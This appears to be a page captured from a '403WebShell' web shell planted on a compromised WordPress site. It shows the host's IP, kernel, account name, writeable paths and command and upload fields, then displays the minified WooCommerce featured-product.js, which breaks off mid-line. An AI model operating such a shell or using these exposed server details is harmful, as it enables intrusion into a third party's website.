????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks//featured-product.js
(()=>{var e,t,r,o={9553:(e,t,r)=>{"use strict";var o=r(4530),s=r(2108),a=(r(6388),r(210),r(6087)),i=r(9491);const n=window.wp.url,c=window.wp.apiFetch;var l=r.n(c);const d=window.wc.wcSettings,m=(0,d.getSetting)("wcBlocksConfig",{pluginUrl:"",productCount:0,defaultAvatar:"",restApiRoutes:{},wordCountType:"words"}),u=m.pluginUrl+"assets/images/",p=(m.pluginUrl,d.STORE_PAGES.shop,d.STORE_PAGES.checkout,d.STORE_PAGES.checkout,d.STORE_PAGES.privacy,d.STORE_PAGES.privacy,d.STORE_PAGES.terms,d.STORE_PAGES.terms,d.STORE_PAGES.cart,d.STORE_PAGES.cart,d.STORE_PAGES.myaccount?.permalink?d.STORE_PAGES.myaccount.permalink:(0,d.getSetting)("wpLoginUrl","/wp-login.php"),(0,d.getSetting)("localPickupEnabled",!1),(0,d.getSetting)("shippingMethodsExist",!1),(0,d.getSetting)("shippingEnabled",!0),(0,d.getSetting)("countries",{})),g=(0,d.getSetting)("countryData",{}),h={...Object.fromEntries(Object.keys(g).filter((e=>!0===g[e].allowBilling)).map((e=>[e,p[e]||""]))),...Object.fromEntries(Object.keys(g).filter((e=>!0===g[e].allowShipping)).map((e=>[e,p[e]||""])))},_=(Object.fromEntries(Object.keys(h).map((e=>[e,g[e].states||{}]))),Object.fromEntries(Object.keys(h).map((e=>[e,g[e].locale||{}]))),{address:["first_name","last_name","company","address_1","address_2","city","postcode","country","state","phone"],contact:["email"],order:[]}),b=((0,d.getSetting)("addressFieldsLocations",_).address,(0,d.getSetting)("addressFieldsLocations",_).contact,(0,d.getSetting)("addressFieldsLocations",_).order,(0,d.getSetting)("additionalOrderFields",{}),(0,d.getSetting)("additionalContactFields",{}),(0,d.getSetting)("additionalAddressFields",{}),(e,t)=>{const r=new Map;return e.filter((e=>{const o=t(e);return!r.has(o)&&(r.set(o,e),!0)}))}),x=({selected:e=[],search:t="",queryArgs:r={}})=>{const o=(({selected:e=[],search:t="",queryArgs:r={}})=>{const o=m.productCount>100,s={per_page:o?100:0,catalog_visibility:"any",search:t,orderby:"title",order:"asc"},a=[(0,n.addQueryArgs)("/wc/store/v1/products",{...s,...r})];return o&&e.length&&a.push((0,n.addQueryArgs)("/wc/store/v1/products",{catalog_visibility:"any",include:e,per_page:0})),a})({selected:e,search:t,queryArgs:r});return Promise.all(o.map((e=>l()({path:e})))).then((e=>{const t=e.flat(),r=b(t,(e=>e.id));return r.map((e=>({...e,parent:0})))})).catch((e=>{throw e}))},w=async e=>{if(!("json"in e))return{code:e.code||"",message:e.message,type:e.type||"general"};try{const t=await e.json();return{code:t.code||"",message:t.message,type:t.type||"api"}}catch(e){return{message:e.message,type:"general"}}};var f=r(790);const v=(0,i.createHigherOrderComponent)((e=>class extends a.Component{state={error:null,loading:!1,product:"preview"===this.props.attributes.productId?this.props.attributes.previewProduct:null};componentDidMount(){this.loadProduct()}componentDidUpdate(e){e.attributes.productId!==this.props.attributes.productId&&this.loadProduct()}loadProduct=()=>{const{productId:e}=this.props.attributes;"preview"!==e&&(e?(this.setState({loading:!0}),(e=>l()({path:`/wc/store/v1/products/${e}`}))(e).then((e=>{this.setState({product:e,loading:!1,error:null})})).catch((async e=>{const t=await w(e);this.setState({product:null,loading:!1,error:t})}))):this.setState({product:null,loading:!1,error:null}))};render(){const{error:t,loading:r,product:o}=this.state;return(0,f.jsx)(e,{...this.props,error:t,getProduct:this.loadProduct,isLoading:r,product:o})}}),"withProduct"),y=window.wp.components;var S=r(7723);const j=window.wp.blockEditor;var k=r(3462);const I=e=>{const{id:t,name:r,parent:o}=e;return{id:t,name:r,parent:o,breadcrumbs:[],children:[],details:e,value:e.slug}},C=e=>{const{id:t,name:r,parent:o,count:s}=e;return{id:t,name:r,parent:o,count:s,breadcrumbs:[],children:[],details:e,value:e.slug}},P="woocommerce/featured-category",E="woocommerce/featured-product",N=window.wc.wcTypes;function A(e){return!!e&&(0,N.isNumber)(e.id)&&"string"==typeof e.src}function R({blockName:e,item:t,mediaId:r,mediaSrc:o}){const[s,i]=(0,a.useState)(0),[n,c]=(0,a.useState)("");return(0,a.useEffect)((()=>{var o,s;i(r||(e===E?(s=t)&&s.images&&s.images.length&&s.images[0].id||0:(o=t)&&A(o.image)?o.image.id:0))}),[e,t,r]),(0,a.useEffect)((()=>{var r,s;c(o||(e===E?(s=t)&&s.images&&s.images.length&&s.images[0].src||"":(r=t)&&A(r.image)?r.image.src:""))}),[e,t,o]),{backgroundImageId:s,backgroundImageSrc:n}}const L=({backgroundImageId:e,backgroundImageSrc:t,contentAlign:r,cropLabel:o,editLabel:s,editMode:a,isEditingImage:i,mediaSrc:n,setAttributes:c,setIsEditingImage:l})=>(0,f.jsxs)(j.BlockControls,{children:[(0,f.jsx)(j.AlignmentToolbar,{value:r,onChange:e=>{c({contentAlign:e})}}),(0,f.jsxs)(y.ToolbarGroup,{children:[t&&!i&&(0,f.jsx)(y.ToolbarButton,{onClick:()=>l(!0),icon:k.A,label:o}),(0,f.jsx)(j.MediaReplaceFlow,{mediaId:e,mediaURL:n,accept:"image/*",onSelect:e=>{c({mediaId:e.id,mediaSrc:e.url})},allowedTypes:["image"]}),e&&n?(0,f.jsx)(y.ToolbarButton,{onClick:()=>c({mediaId:0,mediaSrc:""}),children:(0,S.__)("Reset","woocommerce")}):null]}),(0,f.jsx)(y.ToolbarGroup,{controls:[{icon:"edit",title:s,onClick:()=>c({editMode:!a}),isActive:a}]})]}),O=({align:e,backgroundImageId:t,backgroundImageSize:r,backgroundImageSrc:o,containerRef:s,isEditingImage:i,setAttributes:n,setIsEditingImage:c})=>{const l=function(e,t){const[r,o]=(0,a.useState)(),s=(0,a.useCallback)((()=>{o(e.current?.clientWidth)}),[e]);return(0,a.useEffect)(s,[s,...t]),(0,a.useEffect)((()=>{if(!e.current)return;const{defaultView:t}=e.current.ownerDocument;return t?(t.addEventListener("resize",s),()=>{t.removeEventListener("resize",s)}):void 0}),[e,s]),r}(s,[e]);return"function"==typeof j.__experimentalImageEditingProvider?(0,f.jsx)(j.__experimentalImageEditingProvider,{id:t,url:o,naturalHeight:r.height||500,naturalWidth:r.width||500,onSaveImage:({id:e,url:t})=>{n({mediaId:e,mediaSrc:t})},isEditing:i,onFinishEditing:()=>c(!1),children:(0,f.jsx)(j.__experimentalImageEditor,{url:o,height:r.height||500,width:r.width||500})}):(0,f.jsx)(j.__experimentalImageEditor,{id:t,url:o,height:r.height||500,width:r.width||500,naturalHeight:r.height,naturalWidth:r.width,onSaveImage:({id:e,url:t})=>{n({mediaId:e,mediaSrc:t})},onFinishEditing:()=>c(!1),clientWidth:l})},$=({alt:e,backgroundImageSrc:t,contentPanel:r,dimRatio:o,focalPoint:s,hasParallax:a,imageFit:i,isRepeated:n,overlayColor:c,overlayGradient:l,setAttributes:d,setGradient:m,showDesc:u})=>{const p="function"==typeof y.FocalPointPicker,g=!n&&!a;return(0,f.jsxs)(j.InspectorControls,{children:[(0,f.jsxs)(y.PanelBody,{title:(0,S.__)("Content","woocommerce"),children:[(0,f.jsx)(y.ToggleControl,{label:(0,S.__)("Show description","woocommerce"),checked:u,onChange:()=>d({showDesc:!u})}),r]}),!!t&&(0,f.jsxs)(f.Fragment,{children:[p&&(0,f.jsxs)(y.PanelBody,{title:(0,S.__)("Media settings","woocommerce"),children:[(0,f.jsx)(y.ToggleControl,{label:(0,S.__)("Fixed background","woocommerce"),checked:a,onChange:()=>{d({hasParallax:!a})}}),(0,f.jsx)(y.ToggleControl,{label:(0,S.__)("Repeated background","woocommerce"),checked:n,onChange:()=>{d({isRepeated:!n})}}),!n&&(0,f.jsxs)(y.__experimentalToggleGroupControl,{help:(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)("span",{style:{display:"block",marginBottom:"1em"},children:(0,S.__)("Select “Cover” to have the image automatically fit its container.","woocommerce")}),(0,f.jsx)("span",{children:(0,S.__)("This may affect your ability to freely move the focal point of the image.","woocommerce")})]}),label:(0,S.__)("Image fit","woocommerce"),isBlock:!0,value:i,onChange:e=>d({imageFit:e}),children:[(0,f.jsx)(y.__experimentalToggleGroupControlOption,{label:(0,S.__)("None","woocommerce"),value:"none"}),(0,f.jsx)(y.__experimentalToggleGroupControlOption
/* translators: "Cover" is a verb that indicates an image covering the entire container. */,{label:(0,S.__)("Cover","woocommerce"),value:"cover"})]}),(0,f.jsx)(y.FocalPointPicker,{label:(0,S.__)("Focal Point Picker","woocommerce"),url:t,value:s,onChange:e=>d({focalPoint:e})}),g&&(0,f.jsx)(y.TextareaControl,{label:(0,S.__)("Alt text (alternative text)","woocommerce"),value:e,onChange:e=>{d({alt:e})},help:(0,f.jsx)(f.Fragment,{children:(0,f.jsx)(y.ExternalLink,{href:"https://www.w3.org/WAI/tutorials/images/decision-tree",children:(0,S.__)("Describe the purpose of the image","woocommerce")})})})]}),(0,f.jsx)(j.__experimentalPanelColorGradientSettings,{__experimentalHasMultipleOrigins:!0,__experimentalIsRenderedInSidebar:!0,title:(0,S.__)("Overlay","woocommerce"),initialOpen:!0,settings:[{colorValue:c,gradientValue:l,onColorChange:e=>d({overlayColor:e}),onGradientChange:e=>{m(e),d({overlayGradient:e})},label:(0,S.__)("Color","woocommerce")}],children:(0,f.jsx)(y.RangeControl,{label:(0,S.__)("Opacity","woocommerce"),value:o,onChange:e=>d({dimRatio:e}),min:0,max:100,step:10,required:!0})})]})]},"inspector")};var T=r(2098),F=r(4921);const M=window.wp.escapeHtml,B=({message:e,type:t})=>e?"general"===t?(0,f.jsxs)("span",{children:[(0,S.__)("The following error was returned","woocommerce"),(0,f.jsx)("br",{}),(0,f.jsx)("code",{children:(0,M.escapeHTML)(e)})]}):"api"===t?(0,f.jsxs)("span",{children:[(0,S.__)("The following error was returned from the API","woocommerce"),(0,f.jsx)("br",{}),(0,f.jsx)("code",{children:(0,M.escapeHTML)(e)})]}):e:(0,S.__)("An error has prevented the block from being updated.","woocommerce"),G=({error:e})=>(0,f.jsx)("div",{className:"wc-block-error-message",children:B(e)});r(3120);const H=({className:e="",error:t,isLoading:r=!1,onRetry:s})=>(0,f.jsxs)(y.Placeholder,{icon:(0,f.jsx)(o.A,{icon:T.A}),label:(0,S.__)("Sorry, an error occurred","woocommerce"),className:(0,F.A)("wc-block-api-error",e),children:[(0,f.jsx)(G,{error:t}),s&&(0,f.jsx)(f.Fragment,{children:r?(0,f.jsx)(y.Spinner,{}):(0,f.jsx)(y.Button,{variant:"secondary",onClick:s,children:(0,S.__)("Retry","woocommerce")})})]});function z(e){return e?`${Math.round(100*e.x)}% ${Math.round(100*e.y)}%`:""}function D(e){return`wc-block-${e.split("/")[1]}`}function V(e,t,r){const o=new Set(t.map((e=>e[r])));return e.filter((e=>!o.has(e[r])))}const W=window.wp.htmlEntities,U={clear:(0,S.__)("Clear all selected items","woocommerce"),noItems:(0,S.__)("No items found.","woocommerce"),
/* Translators: %s search term */
noResults:(0,S.__)("No results for %s","woocommerce"),search:(0,S.__)("Search for items","woocommerce"),selected:e=>(0,S.sprintf)(/* translators: Number of items selected from list. */ /* translators: Number of items selected from list. */
(0,S._n)("%d item selected","%d items selected",e,"woocommerce"),e),updated:(0,S.__)("Search results updated.","woocommerce")},q=(e,t=e)=>{const r=e.reduce(((e,t)=>{const r=t.parent||0;return e[r]||(e[r]=[]),e[r].push(t),e}),{}),o=t.reduce(((e,t)=>(e[String(t.id)]=t,e)),{});const s=["0"],a=(e={})=>e.parent?[...a(o[e.parent]),e.name]:e.name?[e.name]:[],i=e=>e.map((e=>{const t=r[e.id];return s.push(""+e.id),{...e,breadcrumbs:a(o[e.parent]),children:t&&t.length?i(t):[]}})),n=i(r[0]||[]);return Object.entries(r).forEach((([e,t])=>{s.includes(e)||n.push(...i(t||[]))})),n},J=(e,t)=>{if(!t)return e;const r=new RegExp(`(${t.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")})`,"ig");return e.split(r).map(((e,t)=>r.test(e)?(0,f.jsx)("strong",{children:e},t):(0,f.jsx)(a.Fragment,{children:e},t)))},Q=({label:e})=>(0,f.jsx)("span",{className:"woocommerce-search-list__item-count",children:e}),Y=e=>{const{item:t,search:r}=e,o=t.breadcrumbs&&t.breadcrumbs.length;return(0,f.jsxs)("span",{className:"woocommerce-search-list__item-label",children:[o?(0,f.jsx)("span",{className:"woocommerce-search-list__item-prefix",children:(s=t.breadcrumbs,1===s.length?s.slice(0,1).toString():2===s.length?s.slice(0,1).toString()+" › "+s.slice(-1).toString():s.slice(0,1).toString()+" … "+s.slice(-1).toString())}):null,(0,f.jsx)("span",{className:"woocommerce-search-list__item-name",children:J((0,W.decodeEntities)(t.name),r)})]});var s},K=({countLabel:e,className:t,depth:r=0,controlId:o="",item:s,isSelected:i,isSingle:n,onSelect:c,search:l="",selected:d,useExpandedPanelId:m,...u})=>{const[p,g]=m,h=null!=e&&void 0!==s.count&&null!==s.count,_=!!s.breadcrumbs?.length,b=!!s.children?.length,x=p===s.id,w=(0,F.A)(["woocommerce-search-list__item",`depth-${r}`,t],{"has-breadcrumbs":_,"has-children":b,"has-count":h,"is-expanded":x,"is-radio-button":n});(0,a.useEffect)((()=>{b&&i&&g(s.id)}),[s,b,i,g]);const v=u.name||`search-list-item-${o}`,S=`${v}-${s.id}`,j=(0,a.useCallback)((()=>{g(x?-1:Number(s.id))}),[x,s.id,g]);return b?(0,f.jsx)("div",{className:w,onClick:j,onKeyDown:e=>"Enter"===e.key||" "===e.key?j():null,role:"treeitem",tabIndex:0,children:n?(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)("input",{type:"radio",id:S,name:v,value:s.value,onChange:c(s),onClick:e=>e.stopPropagation(),checked:i,className:"woocommerce-search-list__item-input",...u}),(0,f.jsx)(Y,{item:s,search:l}),h?(0,f.jsx)(Q,{label:e||s.count}):null]}):(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(y.CheckboxControl,{className:"woocommerce-search-list__item-input",checked:i,...!i&&s.children.some((e=>d.find((t=>t.id===e.id))))?{indeterminate:!0}:{},label:J((0,W.decodeEntities)(s.name),l),onChange:()=>{i?c(V(d,s.children,"id"))():c(function(e,t){const r=V(t,e,"id");return[...e,...r]}(d,s.children))()},onClick:e=>e.stopPropagation()}),h?(0,f.jsx)(Q,{label:e||s.count}):null]})}):(0,f.jsxs)("label",{htmlFor:S,className:w,children:[n?(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)("input",{...u,type:"radio",id:S,name:v,value:s.value,onChange:c(s),checked:i,className:"woocommerce-search-list__item-input"}),(0,f.jsx)(Y,{item:s,search:l})]}):(0,f.jsx)(y.CheckboxControl,{...u,id:S,name:v,className:"woocommerce-search-list__item-input",value:(0,W.decodeEntities)(s.value),label:J((0,W.decodeEntities)(s.name),l),onChange:c(s),checked:i}),h?(0,f.jsx)(Q,{label:e||s.count}):null]})},X=K;var Z=r(2624),ee=r(3028);r(5022);const te=({id:e,label:t,popoverContents:r,remove:s,screenReaderLabel:n,className:c=""})=>{const[l,d]=(0,a.useState)(!1),m=(0,i.useInstanceId)(te);if(n=n||t,!t)return null;t=(0,W.decodeEntities)(t);const u=(0,F.A)("woocommerce-tag",c,{"has-remove":!!s}),p=`woocommerce-tag__label-${m}`,g=(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)("span",{className:"screen-reader-text",children:n}),(0,f.jsx)("span",{"aria-hidden":"true",children:t})]});return(0,f.jsxs)("span",{className:u,children:[r?(0,f.jsx)(y.Button,{className:"woocommerce-tag__text",id:p,onClick:()=>d(!0),children:g}):(0,f.jsx)("span",{className:"woocommerce-tag__text",id:p,children:g}),r&&l&&(0,f.jsx)(y.Popover,{onClose:()=>d(!1),children:r}),s&&(0,f.jsx)(y.Button,{className:"woocommerce-tag__remove",onClick:s(e),label:(0,S.sprintf)(
// Translators: %s label.
// Translators: %s label.
(0,S.__)("Remove %s","woocommerce"),t),"aria-describedby":p,children:(0,f.jsx)(o.A,{icon:ee.A,size:20,className:"clear-icon",role:"img"})})]})},re=te;r(1939);const oe=e=>(0,f.jsx)(X,{...e}),se=e=>{const{list:t,selected:r,renderItem:o,depth:s=0,onSelect:i,instanceId:n,isSingle:c,search:l,useExpandedPanelId:d}=e,[m]=d;return t?(0,f.jsx)(f.Fragment,{children:t.map((t=>{const u=t.children?.length&&!c?t.children.every((({id:e})=>r.find((t=>t.id===e)))):!!r.find((({id:e})=>e===t.id)),p=t.children?.length&&m===t.id;return(0,f.jsxs)(a.Fragment,{children:[(0,f.jsx)("li",{children:o({item:t,isSelected:u,onSelect:i,isSingle:c,selected:r,search:l,depth:s,useExpandedPanelId:d,controlId:n})}),p?(0,f.jsx)(se,{...e,list:t.children,depth:s+1}):null]},t.id)}))}):null},ae=({isLoading:e,isSingle:t,selected:r,messages:o,onChange:s,onRemove:a})=>{if(e||t||!r)return null;const i=r.length;return(0,f.jsxs)("div",{className:"woocommerce-search-list__selected",children:[(0,f.jsxs)("div",{className:"woocommerce-search-list__selected-header",children:[(0,f.jsx)("strong",{children:o.selected(i)}),i>0?(0,f.jsx)(y.Button,{variant:"link",isDestructive:!0,onClick:()=>s([]),"aria-label":o.clear,children:(0,S.__)("Clear all","woocommerce")}):null]}),i>0?(0,f.jsx)("ul",{children:r.map(((e,t)=>(0,f.jsx)("li",{children:(0,f.jsx)(re,{label:e.name,id:e.id,remove:a})},t)))}):null]})},ie=({filteredList:e,search:t,onSelect:r,instanceId:s,useExpandedPanelId:a,...i})=>{const{messages:n,renderItem:c,selected:l,isSingle:d}=i,m=c||oe;return 0===e.length?(0,f.jsxs)("div",{className:"woocommerce-search-list__list is-not-found",children:[(0,f.jsx)("span",{className:"woocommerce-search-list__not-found-icon",children:(0,f.jsx)(o.A,{icon:Z.A,role:"img"})}),(0,f.jsx)("span",{className:"woocommerce-search-list__not-found-text",children:t?(0,S.sprintf)(n.noResults,t):n.noItems})]}):(0,f.jsx)("ul",{className:"woocommerce-search-list__list",children:(0,f.jsx)(se,{useExpandedPanelId:a,list:e,selected:l,renderItem:m,onSelect:r,instanceId:s,isSingle:d,search:t})})},ne=e=>{const{className:t="",isCompact:r,isHierarchical:o,isLoading:s,isSingle:n,list:c,messages:l=U,onChange:d,onSearch:m,selected:u,type:p="text",debouncedSpeak:g}=e,[h,_]=(0,a.useState)(""),b=(0,a.useState)(-1),x=(0,i.useInstanceId)(ne),w=(0,a.useMemo)((()=>({...U,...l})),[l]),v=(0,a.useMemo)((()=>((e,t,r)=>{if(!t)return r?q(e):e;const o=new RegExp(t.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&"),"i"),s=e.map((e=>!!o.test(e.name)&&e)).filter(Boolean);return r?q(s,e):s})(c,h,o)),[c,h,o]);(0,a.useEffect)((()=>{g&&g(w.updated)}),[g,w]),(0,a.useEffect)((()=>{"function"==typeof m&&m(h)}),[h,m]);const j=(0,a.useCallback)((e=>()=>{n&&d([]);const t=u.findIndex((({id:t})=>t===e));d([...u.slice(0,t),...u.slice(t+1)])}),[n,u,d]),k=(0,a.useCallback)((e=>()=>{Array.isArray(e)?d(e):-1===u.findIndex((({id:t})=>t===e.id))?d(n?[e]:[...u,e]):j(e.id)()}),[n,j,d,u]),I=(0,a.useCallback)((e=>{const[t]=u.filter((t=>!e.find((e=>t.id===e.id))));j(t.id)()}),[j,u]);return(0,f.jsxs)("div",{className:(0,F.A)("woocommerce-search-list",t,{"is-compact":r,"is-loading":s,"is-token":"token"===p}),children:["text"===p&&(0,f.jsx)(ae,{...e,onRemove:j,messages:w}),(0,f.jsx)("div",{className:"woocommerce-search-list__search",children:"text"===p?(0,f.jsx)(y.TextControl,{label:w.search,type:"search",value:h,onChange:e=>_(e)}):(0,f.jsx)(y.FormTokenField,{disabled:s,label:w.search,onChange:I,onInputChange:e=>_(e),suggestions:[],__experimentalValidateInput:()=>!1,value:s?[(0,S.__)("Loading…","woocommerce")]:u.map((e=>({...e,value:e.name}))),__experimentalShowHowTo:!1})}),s?(0,f.jsx)("div",{className:"woocommerce-search-list__list",children:(0,f.jsx)(y.Spinner,{})}):(0,f.jsx)(ie,{...e,search:h,filteredList:v,messages:w,onSelect:k,instanceId:x,useExpandedPanelId:b})]})},ce=((0,y.withSpokenMessages)(ne),e=>({selected:t,...r})=>{const[o,s]=(0,a.useState)(!0),[i,c]=(0,a.useState)(null),[d,m]=(0,a.useState)([]),u=async e=>{const t=await w(e);c(t),s(!1)},p=(0,a.useRef)(t);return(0,a.useEffect)((()=>{var e;(e={selected:p.current},l()({path:(0,n.addQueryArgs)("wc/store/v1/products/categories",{per_page:0,...e})})).then((e=>{m(e),s(!1)})).catch(u)}),[p]),(0,f.jsx)(e,{...r,selected:t,error:i,categories:d,isLoading:o})});r(6982);const le=ce((({categories:e=[],error:t=null,isLoading:r=!1,onChange:o,onOperatorChange:s,operator:a="any",selected:i,isCompact:n=!1,isSingle:c=!1,showReviewCount:l})=>{const d={clear:(0,S.__)("Clear all product categories","woocommerce"),list:(0,S.__)("Product Categories","woocommerce"),noItems:(0,S.__)("Your store doesn't have any product categories.","woocommerce"),search:(0,S.__)("Search for product categories","woocommerce"),selected:e=>(0,S.sprintf)(/* translators: %d is the count of selected categories. */ /* translators: %d is the count of selected categories. */
(0,S._n)("%d category selected","%d categories selected",e,"woocommerce"),e),updated:(0,S.__)("Category search results updated.","woocommerce")};if(t)return(0,f.jsx)(G,{error:t});const m=e.map(C);return(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(ne,{className:"woocommerce-product-categories",list:m,isLoading:r,selected:m.filter((({id:e})=>i.includes(Number(e)))),onChange:o,renderItem:e=>{const{item:t,search:r,depth:o=0}=e,s=t.breadcrumbs.length?`${t.breadcrumbs.join(", ")}, ${t.name}`:t.name,a=l?(0,S.sprintf)(/* translators: %1$s is the item name, %2$d is the count of reviews for the item. */ /* translators: %1$s is the item name, %2$d is the count of reviews for the item. */
(0,S._n)("%1$s, has %2$d review","%1$s, has %2$d reviews",t.details?.review_count||0,"woocommerce"),s,t.details?.review_count||0):(0,S.sprintf)(/* translators: %1$s is the item name, %2$d is the count of products for the item. */ /* translators: %1$s is the item name, %2$d is the count of products for the item. */
(0,S._n)("%1$s, has %2$d product","%1$s, has %2$d products",t.details?.count||0,"woocommerce"),s,t.details?.count||0),i=l?(0,S.sprintf)(/* translators: %d is the count of reviews. */ /* translators: %d is the count of reviews. */
(0,S._n)("%d review","%d reviews",t.details?.review_count||0,"woocommerce"),t.details?.review_count||0):(0,S.sprintf)(/* translators: %d is the count of products. */ /* translators: %d is the count of products. */
(0,S._n)("%d product","%d products",t.details?.count||0,"woocommerce"),t.details?.count||0);return(0,f.jsx)(K,{className:(0,F.A)("woocommerce-product-categories__item","has-count",{"is-searching":r.length>0,"is-skip-level":0===o&&0!==t.parent}),...e,countLabel:i,"aria-label":a})},messages:d,isCompact:n,isHierarchical:!0,isSingle:c}),!!s&&(0,f.jsx)("div",{hidden:i.length<2,children:(0,f.jsx)(y.SelectControl,{className:"woocommerce-product-categories__operator",label:(0,S.__)("Display products matching","woocommerce"),help:(0,S.__)("Pick at least two categories to use this setting.","woocommerce"),value:a,onChange:s,options:[{label:(0,S.__)("Any selected categories","woocommerce"),value:"any"},{label:(0,S.__)("All selected categories","woocommerce"),value:"all"}]})})]})}));var de=r(4347);var me=r(923),ue=r.n(me);const pe=(0,i.createHigherOrderComponent)((e=>{class t extends a.Component{state={error:null,loading:!1,variations:{}};componentDidMount(){const{selected:e,showVariations:t}=this.props;e&&t&&this.loadVariations()}componentDidUpdate(e){const{isLoading:t,selected:r,showVariations:o}=this.props;o&&(!ue()(e.selected,r)||e.isLoading&&!t)&&this.loadVariations()}loadVariations=()=>{const{products:e}=this.props,{loading:t,variations:r}=this.state;if(t)return;const o=this.getExpandedProduct();if(!o||r[o])return;const s=e.find((e=>e.id===o));var a;s?.variations&&0!==s.variations.length?(this.setState({loading:!0}),(a=o,l()({path:(0,n.addQueryArgs)("wc/store/v1/products",{per_page:0,type:"variation",parent:a})})).then((e=>{const t=e.map((e=>({...e,parent:o})));this.setState({variations:{...this.state.variations,[o]:t},loading:!1,error:null})})).catch((async e=>{const t=await w(e);this.setState({variations:{...this.state.variations,[o]:null},loading:!1,error:t})}))):this.setState({variations:{...this.state.variations,[o]:null},loading:!1,error:null})};isProductId(e){const{products:t}=this.props;return t.some((t=>t.id===e))}findParentProduct(e){const{products:t}=this.props,r=t.filter((t=>t.variations&&t.variations.find((({id:t})=>t===e))));return r[0]?.id}getExpandedProduct(){const{isLoading:e,selected:t,showVariations:r}=this.props;if(!r)return null;let o=t&&t.length?t[0]:null;return o?this.prevSelectedItem=o:!this.prevSelectedItem||e||this.isProductId(this.prevSelectedItem)||(o=this.prevSelectedItem),!e&&o?this.isProductId(o)?o:this.findParentProduct(o):null}render(){const{error:t,isLoading:r}=this.props,{error:o,loading:s,variations:a}=this.state;return(0,f.jsx)(e,{...this.props,error:o||t,expandedProduct:this.getExpandedProduct(),isLoading:r,variations:a,variationsLoading:s})}}return t}),"withProductVariations");var ge=r(1609);const he=({className:e,item:t,isSelected:r,isLoading:o,onSelect:s,disabled:a,...i})=>(0,f.jsxs)(f.Fragment,{children:[(0,ge.createElement)(K,{...i,key:t.id,className:e,isSelected:r,item:t,onSelect:s,disabled:a}),r&&o&&(0,f.jsx)("div",{className:(0,F.A)("woocommerce-search-list__item","woocommerce-product-attributes__item","depth-1","is-loading","is-not-active"),children:(0,f.jsx)(y.Spinner,{})},"loading")]});r(5653);const _e={list:(0,S.__)("Products","woocommerce"),noItems:(0,S.__)("Your store doesn't have any products.","woocommerce"),search:(0,S.__)("Search for a product to display","woocommerce"),updated:(0,S.__)("Product search results updated.","woocommerce")},be=(e=>t=>{let{selected:r}=t;r=void 0===r?null:r;const o=null===r;return Array.isArray(r)?(0,f.jsx)(e,{...t}):(0,f.jsx)(e,{...t,selected:o?[]:[r]})})((xe=pe((0,i.withInstanceId)((e=>{const{expandedProduct:t=null,error:r,instanceId:o,isCompact:s=!1,isLoading:a,onChange:i,onSearch:n,products:c,renderItem:l,selected:d=[],showVariations:m=!1,variations:u,variationsLoading:p}=e;if(r)return(0,f.jsx)(G,{error:r});const g=[...c,...u&&t&&u[t]?u[t]:[]].map(I);return(0,f.jsx)(ne,{className:"woocommerce-products",list:g,isCompact:s,isLoading:a,isSingle:!0,selected:g.filter((({id:e})=>d.includes(Number(e)))),onChange:i,renderItem:l||(m?e=>{const{item:t,search:r,depth:s=0,isSelected:i,onSelect:n}=e,c=t.details?.variations&&Array.isArray(t.details.variations)?t.details.variations.length:0,l=(0,F.A)("woocommerce-search-product__item","woocommerce-search-list__item",`depth-${s}`,"has-count",{"is-searching":r.length>0,"is-skip-level":0===s&&0!==t.parent,"is-variable":c>0});if(!t.breadcrumbs.length){const r=t.details?.variations&&t.details.variations.length>0;return(0,f.jsx)(he,{...e,className:(0,F.A)(l,{"is-selected":i}),isSelected:i,item:t,onSelect:()=>()=>{n(t)()},isLoading:a||p,countLabel:r?(0,S.sprintf)(/* translators: %1$d is the number of variations of a product product. */ /* translators: %1$d is the number of variations of a product product. */
(0,S.__)("%1$d variations","woocommerce"),t.details?.variations.length):null,name:`products-${o}`,"aria-label":r?(0,S.sprintf)(/* translators: %1$s is the product name, %2$d is the number of variations of that product. */ /* translators: %1$s is the product name, %2$d is the number of variations of that product. */
(0,S._n)("%1$s, has %2$d variation","%1$s, has %2$d variations",t.details?.variations?.length,"woocommerce"),t.name,t.details?.variations.length):void 0})}const d=(0,N.isEmpty)(t.details?.variation)?e:{...e,item:{...e.item,name:t.details?.variation},"aria-label":`${t.breadcrumbs[0]}: ${t.details?.variation}`};return(0,f.jsx)(K,{...d,className:l,name:`variations-${o}`})}:void 0),onSearch:n,messages:{..._e,...e.messages},isHierarchical:!0})}))),({selected:e,...t})=>{const[r,o]=(0,a.useState)(!0),[s,i]=(0,a.useState)(null),[n,c]=(0,a.useState)([]),l=m.productCount>100,d=async e=>{const t=await w(e);i(t),o(!1)},u=(0,a.useRef)(e);(0,a.useEffect)((()=>{x({selected:u.current}).then((e=>{c(e),o(!1)})).catch(d)}),[u]);const p=(0,de.YQ)((t=>{x({selected:e,search:t}).then((e=>{c(e),o(!1)})).catch(d)}),400),g=(0,a.useCallback)((e=>{o(!0),p(e)}),[o,p]);return(0,f.jsx)(xe,{...t,selected:e,error:s,products:n,isLoading:r,onSearch:l?g:null})}));var xe,we=r(7356);const fe=window.wp.styleEngine;function ve(e={}){const t={};return(0,fe.getCSSRules)(e,{selector:""}).forEach((e=>{t[e.key]=e.value})),t}function ye(e,t){return e&&t?`has-${(0,we.c)(t)}-${e}`:""}const Se=e=>{const t=(e=>{const t=(0,N.isObject)(e)?e:{style:{}};let 